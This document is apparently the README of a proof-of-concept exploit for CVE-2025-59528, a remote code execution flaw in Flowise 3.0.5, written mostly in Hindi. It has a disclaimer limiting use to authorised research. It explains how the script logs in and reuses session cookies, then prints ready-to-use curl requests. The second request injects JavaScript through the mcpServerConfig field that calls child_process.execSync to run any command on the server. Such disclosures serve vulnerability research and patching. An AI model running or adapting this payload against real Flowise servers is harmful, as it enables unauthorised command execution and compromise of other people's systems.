CVE-2025-59528 PoC

Python प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट Flowise CustomMCP RCE पथ को POST /api/v1/node-load-method/customMCP के माध्यम से ट्रिगर करने के लिए।

⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस टूल को उन सिस्टम्स के विरुद्ध चलाना जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।

श्रेय

im-soohyun (Kim SooHyun)

विवरण

CVE-2025-59528 के लिए PoC
प्रभावित संस्करण: Flowise 3.0.5
पैच किया गया संस्करण: Flowise 3.0.6
संदर्भ: https://github.com/advisories/GHSA-3gcm-f6qx-ff7p

फ़ाइलें

poc.py: मशीन URL/IP, बेयर होस्ट/IP उपयोग होने पर वैकल्पिक प्रोटोकॉल, ईमेल, पासवर्ड, और कमांड मांगता है; लॉग इन करता है, कुकीज़ का पुन: उपयोग करता है, फिर एक तैयार किया गया CustomMCP अनुरोध भेजता है और HTTP स्थिति, हेडर, और प्रतिक्रिया निकाय को curl -i के समान प्रिंट करता है।

उपयोग

चलाएँ:

python3 poc.py

फिर प्रदान करें:

मशीन URL/IP, जैसे 10.10.11.10, http://10.10.11.10, या https://target.example
यदि बेयर होस्ट/IP के लिए संकेत दिया जाए तो प्रोटोकॉल
ईमेल पता
लक्ष्य Flowise इंस्टेंस पर खाते का पासवर्ड
सर्वर पर निष्पादित करने के लिए कमांड

समतुल्य curl

पहला अनुरोध

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"<[email protected]>","password":"<password>"}'

दूसरा अनुरोध

curl -i -X POST https://<target>/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<token>; refreshToken=<refreshToken>; connect.sid=<connect.sid>" \
  -d '{
        "loadMethod":"listActions",
        "inputs":{
          "mcpServerConfig":"({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"<command>\");return 1;})()})"
        }
      }'

CVE-2025-59528-PoC

सबसे लोकप्रिय

CVE-2025-59528 PoC

श्रेय

विवरण

फ़ाइलें

उपयोग

समतुल्य curl

पहला अनुरोध

दूसरा अनुरोध